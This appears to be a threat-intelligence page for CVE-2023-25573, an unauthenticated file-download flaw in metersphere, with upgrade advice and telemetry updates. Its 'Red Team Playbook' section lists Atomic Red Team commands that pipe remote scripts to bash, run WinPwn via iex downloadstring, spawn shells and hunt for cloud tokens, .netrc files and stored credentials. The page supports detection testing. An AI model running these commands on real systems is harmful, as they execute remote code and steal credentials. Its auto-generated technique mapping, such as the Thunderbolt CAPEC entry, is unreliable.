CVE-2023-25573
Overview
This vulnerability is an improper access control flaw in metersphere's continuous testing platform. Specifically, the issue arises from insufficient authorization checks in the API endpoint responsible for file downloads. The affected component is the `/api/jmeter/download/files` endpoint, which fails to restrict file access based on user authentication or permissions.
Vulnerability Description
metersphere is an open source continuous testing platform. In affected versions an improper access control vulnerability exists in `/api/jmeter/download/files`, which allows any user to download any file without authentication. This issue may expose all files available to the running process. This issue has been addressed in version 1.20.20 lts and 2.7.1. Users are advised to upgrade. There are no known workarounds for this vulnerability.
Impact
An attacker can exploit this vulnerability remotely without authentication or user interaction to download any file accessible by the metersphere process, including sensitive configuration or credential files. This unauthorized file disclosure can lead to data breaches and further compromise of the environment. The CVSS vector (AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N) indicates network attackability with low complexity and no privileges required, resulting in high confidentiality impact and potential scope change.
Solution
Users should upgrade metersphere to version 1.20.20 lts or 2.7.1 or later, where this access control issue has been resolved. The vendor advisory at https://github.com/metersphere/metersphere/security/advisories/GHSA-mcwr-j9vm-5g8h provides detailed patch instructions. No workarounds are available; applying the official update is the only recommended remediation.
EPSS vs KEV Prediction — Evolution (30 days)
Full Analysis
The vulnerability in the metersphere continuous testing platform stems from improper access control mechanisms within the API endpoint responsible for downloading files. Specifically, the flaw exists in the `/api/jmeter/download/files` route, which allows unauthenticated users to access and download files that should be restricted. This oversight means that any user, regardless of their authentication status, can potentially retrieve sensitive files stored on the server, including configuration files, test scripts, and other critical data. The lack of adequate access controls exposes the system to unauthorized data access, posing significant security risks to organizations utilizing this platform.
Exploitation of this vulnerability can occur through various attack vectors. An attacker could leverage automated scripts or manual requests to interact with the vulnerable API endpoint, systematically probing for accessible files. Given that the vulnerability permits access to any file within the running process, an attacker could potentially download sensitive information that could be used for further attacks, such as credential harvesting, data exfiltration, or reconnaissance for additional vulnerabilities. In scenarios where the platform is deployed in environments with sensitive data, the implications of such unauthorized access could be severe, leading to data breaches or compliance violations.
The real-world impact of this vulnerability is substantial, particularly for organizations that rely on metersphere for continuous testing and development processes. The potential for unauthorized access to sensitive files can result in significant business risks, including reputational damage, financial loss, and legal repercussions. Organizations may face regulatory scrutiny if sensitive data is exposed, especially in industries governed by strict data protection regulations. Furthermore, the exploitation of this vulnerability could lead to a loss of customer trust, as clients may be concerned about the security of their data and the integrity of the testing processes.
To detect and mitigate this vulnerability, organizations should prioritize upgrading to the patched versions of metersphere, specifically versions 1.20.20 LTS and 2.7.1, which address the access control flaw. Regularly monitoring and auditing API endpoints for unauthorized access attempts can also help identify potential exploitation attempts. Implementing robust authentication mechanisms and ensuring that all sensitive endpoints enforce strict access controls are critical steps in safeguarding against similar vulnerabilities. Additionally, organizations should conduct regular security assessments and penetration testing to identify and remediate potential weaknesses in their systems proactively.
In conclusion, the improper access control vulnerability in metersphere presents a significant risk to organizations utilizing this continuous testing platform. The ease of exploitation and the potential for severe consequences underscore the importance of maintaining robust security practices. By promptly addressing the vulnerability through upgrades and implementing comprehensive security measures, organizations can mitigate the risks associated with unauthorized access and protect their sensitive data from potential breaches.
CSURFACE threat intelligence has detected a marked escalation in activity related to CVE-2023-25573, with our telemetry indicating a new confirmed sighting of exploitation attempts targeting the improper access control vulnerability in metersphere. Although the EPSS score remains stable at a high level, this fresh detection signals that threat actors are actively probing or exploiting this flaw in the wild. The absence of new exploit variants or ransomware group involvement suggests opportunistic scanning or targeted reconnaissance rather than widespread automated campaigns at this stage. For defenders, this development underscores the urgency of monitoring for unauthorized file access attempts and prioritizing patch deployment, as the vulnerability’s ease of exploitation continues to present a significant risk. While the overall threat level remains high, the emergence of active exploitation attempts elevates the immediacy of the threat, warranting increased vigilance and rapid response to any suspicious activity.
Update 2 — June 17, 2026
CSURFACE threat intelligence has identified a marked escalation in detection activity related to CVE-2023-25573, with our telemetry indicating a doubling in observed exploitation attempts. Despite this increase, the EPSS score has notably declined, reflecting a reduced probability of widespread exploitation in the immediate term. This divergence suggests that while opportunistic scanning or targeted reconnaissance efforts are intensifying, broad automated campaigns have yet to materialize. For defenders, this evolving pattern underscores a heightened risk environment where adversaries are actively probing for vulnerable instances, increasing the likelihood of successful unauthorized file access if systems remain unpatched. Consequently, the threat level should be considered elevated, emphasizing the need for sustained monitoring and rapid identification of anomalous access behaviors to mitigate potential data exposure.
Affected Products (2)
| Vendor | Product | Version | CPE | |
|---|---|---|---|---|
|
|
Metersphere | Metersphere | All |
cpe:2.3:a:metersphere:metersphere:*:*:*:*:*:*:*:*
|
|
|
Metersphere | Metersphere | All |
cpe:2.3:a:metersphere:metersphere:*:*:*:*:*:*:*:*
|
Exploits
No exploits found for this CVE.
Threat Feed
5 eventsSighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Kill chain derived from the ML classifier.
Attack Vectors ML
MITRE ATT&CK Techniques (6)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns ML
| ID | Name | ML Conf. | Likelihood | Severity | Link |
|---|---|---|---|---|---|
| CAPEC-665 | Exploitation of Thunderbolt Protection Flaws |
42%
|
Low | Very High |
Red Team Playbook
44 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
$syntaxList = #{syntax}
foreach ($syntax in $syntaxList) {
#{SharpView} $syntax -}
netstat -ano
net use
net sessions 2>nul
netstat
who -a
Get-NetTCPConnection | ForEach-Object {
$p = Get-Process -Id $_.OwningProcess -ErrorAction SilentlyContinue
[pscustomobject]@{
Local = "$($_.LocalAddress):$($_.LocalPort)"
Remote = "$($_.RemoteAddress):$($_.RemotePort)"
State = $_.State
PID = $_.OwningProcess
Process = if ($p) { $p.ProcessName } else { $null }
}
} | Sort-Object State,Process | Format-Table -AutoSize
sockstat -4
sockstat -6 2>/dev/null || true
sockstat -l 2>/dev/null || true
if command -v ss >/dev/null 2>&1; then ss -antp 2>/dev/null || ss -ant; ss -aunp 2>/dev/null || true; else lsof -i -nP 2>/dev/null || true; fi
Get-NetTCPConnection
[ "$(uname)" = 'FreeBSD' ] && pw useradd art -g wheel -s /bin/csh || useradd -s /bin/bash art
cat /etc/passwd |grep ^art
chsh -s /bin/sh art
cat /etc/passwd |grep ^art
for i in $(seq 1 5); do echo "$i, Atomic Red Team was here!"; sleep 1; done
curl -sS https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
wget --quiet -O - https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
sh -c "echo 'echo Hello from the Atomic Red Team' > #{script_path}"
sh -c "echo 'ping -c 4 #{host}' >> #{script_path}"
chmod +x #{script_path}
sh #{script_path}
echo '! exec "/bin/sh &"' | PERL_MM_USE_DEFAULT=1 cpan
uname -srm
cd /tmp
curl -s #{remote_url} |bash
ls -la /tmp/art.txt
export ART='echo "Atomic Red Team was here... T1059.004"'
echo $ART |/bin/sh
chmod +x #{autosuid}
bash #{autosuid}
chmod +x #{linenum}
bash #{linenum}
TMPFILE=$(mktemp)
echo "id" > $TMPFILE
bash $TMPFILE
[ "$(uname)" = 'FreeBSD' ] && encodecmd="b64encode -r -" && decodecmd="b64decode -r" || encodecmd="base64 -w 0" && decodecmd="base64 -d"
ART=$(echo -n "id" | $encodecmd)
echo "\$ART=$ART"
echo -n "$ART" | $decodecmd |/bin/bash
unset ART
awk 'BEGIN {system("/bin/sh &")}'
busybox sh &
echo $0
if $(env |grep "SHELL" >/dev/null); then env |grep "SHELL"; fi
if $(printenv SHELL >/dev/null); then printenv SHELL; fi
cat /etc/shells
sudo emacs -Q -nw --eval '(term "/bin/sh &")'
xcopy /I /Y "#{web_shells}" #{web_shell_path}
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
No detection or response rules found for this CVE.
No news articles found for this CVE.
References (2)
| Title | Tags | URL |
|---|---|---|
| nvd.nist.gov |
NVD
reference
|
https://nvd.nist.gov/vuln/detail/CVE-2023-25573 |
| github.com |
GitHub CVE
x_refsource_CONFIRM
|
https://github.com/metersphere/metersphere/security/advisories/GHSA-mcwr-j9vm-5g8h |